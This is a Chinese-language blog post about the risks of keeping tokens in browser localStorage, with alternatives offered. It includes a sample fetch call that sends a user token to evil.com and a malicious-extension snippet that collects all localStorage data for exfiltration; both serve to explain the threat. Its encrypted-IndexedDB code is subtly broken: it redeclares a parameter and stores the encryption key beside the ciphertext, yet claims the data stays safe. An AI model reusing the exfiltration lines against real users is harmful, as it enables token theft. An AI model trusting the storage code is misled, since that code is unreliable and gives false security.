localStorage 让你担忧?以下是锁定它的方法
一直在 localStorage 中存储敏感数据,认为它既安全又方便?其实不然。一个错误就可能暴露一切:用户令牌、私钥等等。在 localStorage 中存储敏感数据就像把家门钥匙放在门垫下——容易获取,但随时可能引发灾难。
为什么 localStorage 是个陷阱
localStorage 看似完美——浏览器中简单的键值存储。设置一个值,它会持久化,之后可以检索。
localStorage.setItem("userToken", "super-secret-token");
复制代码
任何在页面上运行的脚本都能访问它。就像一个没有锁的保险箱。
威胁 1:跨站脚本(XSS)攻击
恶意脚本可能通过用户输入或不受信任的第三方库潜入你的应用。它们只需一行代码就能读取 localStorage。
const stolenToken = localStorage.getItem("userToken");
复制代码
OWASP 2023 年报告将 XSS 列为顶级 Web 漏洞,53%的测试应用存在可被利用的缺陷。想象黑客获取用户会话令牌的场景:
fetch("https://evil.com/steal", { method: "POST", body: localStorage.getItem("userToken"),});
复制代码
用户的信任可能在一夜之间崩塌。
威胁 2:第三方脚本漏洞
当你引入流行的分析脚本或闪亮的新 UI 库时,如果它们被攻破,也能访问 localStorage。
// 被攻破的第三方脚本console.log(localStorage.getItem("userToken")); // 发送到恶意地点
复制代码
现代应用通常加载数十个外部脚本。一个库的漏洞就可能泄露一切。你无法预测哪个脚本会变坏。
威胁 3:浏览器扩展利用
浏览器扩展可能向你的网页注入脚本并窃取 localStorage。大多数扩展是合法的,但有些会变坏或被黑。
// 恶意扩展代码const observer = new MutationObserver(() => { // 获取所有localStorage数据 const data = { ...localStorage }; // 发送到可疑服务器 chrome.runtime.sendMessage({ type: "STOLEN_DATA", payload: data, });});observer.observe(document, { subtree: true, childList: true });
复制代码
chrome.runtime API 允许扩展与其组件通信,处理服务工作者、生命周期事件或路径转换。observe()方法设置 MutationObserver 来监视 DOM 变化。这就是为什么 localStorage 对敏感数据很危险——一个坏扩展就能暴露一切。
更安全的数据存储方式
改用更安全的存储选项来保护你的用户。
🔒 选项 1:HttpOnly Cookies
带有 HttpOnly 标志的 Cookie 无法被 JavaScript 访问。它们会随每个请求安全地发送到你的服务器。
// 服务器端:设置安全Cookieres.cookie("refresh_token", refreshToken, { httpOnly: true, // JavaScript无法访问 secure: true, // 仅HTTPS sameSite: "strict", // 防止CSRF path: "/api/refresh", // 限定到特定端点});
复制代码
你需要管理服务器端验证。
🔒 选项 2:sessionStorage
sessionStorage 类似 localStorage,但在标签页关闭时清除。它是敏感数据的短期保险箱。sessionStorage 的主要优势是可以强制其生命周期。数据会自动清理,降低了敏感数据泄露的风险。
const sessionManager = { storeTemporaryData(key, value) { sessionStorage.setItem( key, JSON.stringify({ value, timestamp: Date.now(), expiresIn: 30 * 60 * 1000, // 30分钟 }) ); }, getTemporaryData(key) { const data = sessionStorage.getItem(key); if (!data) return null; const { value, timestamp, expiresIn } = JSON.parse(data); // 自动清除旧数据 if (Date.now() - timestamp > expiresIn) { sessionStorage.removeItem(key); return null; } return value; }, refreshData(key) { const data = this.getTemporaryData(key); if (data) { this.storeTemporaryData(key, data); // 重置过期时间 } return data; },};
复制代码
它非常适合单次会话数据,如表单草稿。
🔒 选项 3:加密 IndexedDB
带加密的 IndexedDB 为复杂应用提供强大存储。它允许存储复杂数据结构、二进制数据,并可作为高效的加密数据存储。非常适合缓存敏感数据的离线优先应用。
const secureStore = { async encrypt(data) { // 使用Web Crypto API生成唯一加密密钥 const key = await crypto.subtle.generateKey( { name: "AES-GCM", length: 256 }, true, ["encrypt", "decrypt"] ); // 将数据转换为缓冲区以便加密 const encoder = new TextEncoder(); const dataBuffer = encoder.encode(JSON.stringify(data)); // 为每次加密生成随机IV const iv = crypto.getRandomValues(new Uint8Array(12)); // 加密数据 const encryptedData = await crypto.subtle.encrypt( { name: "AES-GCM", iv }, key, dataBuffer ); return { encrypted: encryptedData, iv, key, }; }, async store(key, value) { const db = await openDB("secureStore", 1, { upgrade(db) { // 如有需要,创建带索引的存储 db.createObjectStore("encrypted", { keyPath: "id" }); }, }); const { encrypted, iv, key } = await this.encrypt(value); // 存储带元数据的加密数据 await db.put("encrypted", { id: key, data: encrypted, iv, timestamp: Date.now(), }); },};
复制代码
你控制加密密钥,保持数据安全。
最终建议
选择适合你应用流程的方案。你的用户会感到安全,你的应用会更强大。更多精彩内容 请关注我的个人公众号 公众号(办公 AI 智能小助手)公众号二维码
办公AI智能小助手
评论